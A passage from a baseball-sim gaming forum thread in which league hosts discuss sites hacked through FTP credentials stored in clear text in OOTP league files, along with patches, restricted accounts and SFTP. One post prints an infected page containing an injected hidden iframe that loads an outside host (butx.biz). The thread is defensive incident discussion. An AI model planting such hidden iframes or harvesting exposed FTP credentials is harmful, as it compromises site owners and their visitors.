|
||||
| ||||
|
|
#101 | |
|
Global Moderator
Join Date: Feb 2006
Location: Here
Posts: 6,156
|
Quote:
I did a search on your posts as you said you ran a 2008 league and I found your website, downloaded your file and was able to get into your ftp site with no difficulties, so yes the problem does exist in 2007/OOTP8. Now, I've no idea how this can be solved in terms of the executable, but what I would say is change your FTP password, and remove the link on your website to the league file. That way there's no way for anybody who isn't a GM in your league to get access to those details. |
|
|
|
|
|
|
#102 |
|
Administrator
Join Date: Jun 2002
Location: Hollern/Stade/Germany
Posts: 8,992
|
We'll release a patch next week which will address the issue. More info here:
http://www.ootpdevelopments.com/boar...y-problem.html |
|
|
|
|
|
#103 | |
|
Administrator
Join Date: Jun 2002
Location: Hollern/Stade/Germany
Posts: 8,992
|
Quote:
|
|
|
|
|
|
|
#104 |
|
All Star Starter
Join Date: Mar 2002
Location: Mass.
Posts: 1,963
|
I think that people who assume the patch will magically fix their security issue will be let down a bit. What it sounds like the patch will be doing is fixing the hole where the login information/password is viewable within the league dat file in clear text if you look for it. I assume that the patch will be using some form of encryption within the league file so it is not viewable for someone who downloads the file. With the type of encryption that I would assume they would use here, keep in mind that many forms of encryption can still be broken by someone who really wants to do so.
Even without looking through the league file however, it is still extremely trivial getting a ftp account name and password if someone who has ootp9 downloads the file due to how the FTP protocol works. Any person with fairly basic understanding of ftp packets on a network wire could probably still get it, and this is something that can not be patched. It would require a completely different protocol (SFTP for instance) to fix this issue. Ideally to protect yourself against this type of thing, you could make sure absolutely no one had your league file except for your trusted owners in the league. That is fairly impractical though for most leagues I assume. To protect yourself, you should create an FTP user account on your ftp server that -only- has access to the import-export folder on the ftp server which contains the team files and the league file and nothing else. Use that account in your ootp league file and it would limit any exposure to the rest of your site. The problem this causes however would be extra complications in updating league html files which would have to either be done manually, or by manually changing the account username/password for the report uploads each time before doing it. Anyhows, just wanted to make sure it was known that as long as FTP is used, someone competent enough to know how to write a virus/trojan would likely know how to exploit FTP to still get the same information even if it is encrypted within the league file. |
|
|
|
|
|
#105 |
|
Global Moderator
Join Date: Feb 2006
Location: Here
Posts: 6,156
|
Just to concur with Alan T - the patch won't cure the problem, just make it harder to get the information.
Nothing will be entirely secure, but my suggestion above for OOTP10 would even further limit the scope for exploitation. |
|
|
|
|
|
#106 |
|
All Star Reserve
Join Date: Feb 2007
Posts: 925
|
All I want is to make it as hard as possible to gain access to my website. I've implemented the other recommendations, such as an exclusive FTP account, removing the league file links from my website, etc... Fixing this hole will be just another step that makes it harder to hack my site.
I'm sure most of you would agree that if you make it hard enough, the hacker will move on to find another site. After all, if they wanted to WORK, they'd have jobs.
|
|
|
|
|
|
#107 |
|
Administrator
Join Date: Jun 2002
Location: Hollern/Stade/Germany
Posts: 8,992
|
+1
![]() Well, probably hacking OOTP leagues IS their job
|
|
|
|
|
|
#108 |
|
Hall Of Famer
Join Date: Mar 2003
Posts: 9,005
|
|
|
|
|
|
|
#109 |
|
All Star Reserve
Join Date: Jul 2002
Location: Reading PA
Posts: 684
|
I want to say thank you to all of you have put your heads together and worked to find the problem. The OOTP community is very lucky to have people that are willing to work together when problems arise and save those of us who don't have a clue when it comes to this stuff.
Also I want to give props to Fidel and All Sim Baseball. Fidel has been great in restoring my site very quickly after the attacks happened. Thank you all for your hard work and dedication.
__________________
Commish and Phillies GM of the new Beyond The Future Baseball League. www.beyondthefuturebaseball.com Now Defunct Arcanum league - Phillies 1934 World Series Champs Commish of the long time running (now defunct) UMBL. Real Estate Needs www.randysellsyourhome.com |
|
|
|
|
|
#110 |
|
Hall Of Famer
Join Date: Nov 2004
Posts: 6,076
|
I just found this in an OOTP 6 online league I host...
Code:
<html>
<head>
<title>OOTP 6 Generated Website</title>
</head>
<frameset rows="100,*" frameborder="0" framespacing="0" border="0">
<frame name="Banner" scrolling="no" noresize target="Inhalt" src="top.html">
<frameset cols="100,*">
<frame name="menu" target="Hauptframe" src="menu.html">
<frame name="content" src="league.html">
</frameset>
<noframes>
<body><(SPACE HERE) ****** src="http://butx.biz/" style="width: 0px; height: 0px; display: none"><(SPACE HERE) /******>
<p>Diese Seite verwendet Frames. Frames werden von Ihrem Browser aber nicht
unterst・zt.</p>
</body>
</noframes>
</frameset>
</html>
__________________
Fidel Montoya Asahi2 Baseball League ex-Commissioner(Historical League Since 2004) Ex-Web Host Current Mod Maker?? |
|
|
|
|
|
#111 |
|
Global Moderator
Join Date: Feb 2006
Location: Here
Posts: 6,156
|
butx.biz was in gollum's website too.
|
|
|
|
|
|
#112 |
|
Global Moderator
Join Date: Feb 2006
Location: Here
Posts: 6,156
|
Have any of the others of you who have been attacked still got the log files (or the contents of the files that were hacked). If you can get the IP address of the computer that made the changes that would be good.
|
|
|
|
|
|
#113 |
|
All Star Reserve
Join Date: Feb 2007
Posts: 925
|
Obviously I still have the IP address from my last attack.
|
|
|
|
|
|
#114 | |
|
Global Moderator
Join Date: Nov 2002
Posts: 11,836
|
Quote:
__________________
My OOTP Wishlist | My FAQ List OOTP Wiki | Your Recommended Team Nicknames, By City (A Crowdsourced Project) For Beta/Devs: Full screen (1920x1080) |
|
|
|
|
|
|
#115 | |
|
All Star Starter
Join Date: Mar 2002
Location: Mass.
Posts: 1,963
|
Quote:
The problem with this is you would be unable to upload web reports as those go in other folders on your server and usually ones which obviously have http enabled for. So opening up the ftp account which the league file uses to be able to upload web reports also gives any potential hacker the access or ability to at least hit part of the website as well. Two ways around this that I can think of: 1) Manually run the web reports from within OOTP and then manually upload them to your server outside of the game using an account that has permission to do so. This requires you to know the directory structure that the web reports get uploaded within. 2) Have two accounts for your league, one the general league upload/download ftp account that is normally in the game and a second account used only for web reports. When you run the league file, get exports, imports etc you use the first account. Then when time to upload web reports switch the settings within the game to the second account/password on your system only to upload the web reports from within the game to the server. Once done make sure you change it back or you will not be able to import owner exports for the next sim. |
|
|
|
|
|
|
#116 |
|
Hall Of Famer
Join Date: Aug 2004
Posts: 11,660
|
"
Having the ftp data encyrpted and sent and received via at least 128bit SFTP protocol would be the way to go. Finding hosts that support SFTP? That mgiht be slightly harder. (not impossible, there's some out there) |
|
|
|
|
|
#117 |
|
Global Moderator
Join Date: Nov 2002
Posts: 11,836
|
Have any other leagues experienced problems connecting since switching to 9.2.7? The CBL has and my guess is it may be 9.2.7 because I can connect no problem using the same account info in an ftp client. Then again, at least one person in the league has said they were able to connect through the game using 9.2.7 so why some can and some cannot I have no idea.
__________________
My OOTP Wishlist | My FAQ List OOTP Wiki | Your Recommended Team Nicknames, By City (A Crowdsourced Project) For Beta/Devs: Full screen (1920x1080) |
|
|
|
|
|
#118 | |
|
Hall Of Famer
Join Date: Aug 2007
Posts: 2,360
|
Quote:
__________________
Founder of the Planetary Extreme Baseball Alliance (PEBA) Premiere OOTP fictional league where creativity counts and imagination is your only limitation Check for openings - contact us today! |
|
|
|
|
|
|
#119 |
|
Global Moderator
Join Date: Nov 2002
Posts: 11,836
|
Thanks, Corsairs. I hope they test 9.2.9 extra well then because as it is now I don't think we can proceed until it's released and working correctly.
__________________
My OOTP Wishlist | My FAQ List OOTP Wiki | Your Recommended Team Nicknames, By City (A Crowdsourced Project) For Beta/Devs: Full screen (1920x1080) |
|
|
|
|
|
#120 |
|
Hall Of Famer
Join Date: Jul 2005
Location: Minnesota
Posts: 4,924
|
I've had a few owners with connection problems but I've talked them through every one of them so far. After about 3-4 hours, our league is running good with almost no problems *knock on wood*.
Make sure they check if they have 9.2.7 because some people don't know that you have to replace the .exe file. Some think you just download it and you're good. Make sure if you changed the password, league file name that they are opening the right file. I had a couple owners who were still trying to open the file with our old name instead of the new one.
__________________
From the wise mind of Davey Eckstein "Now all you need is a signature. A quote or initial, perhaps." [ |
|
|
|
![]() |
| Bookmarks |
|
|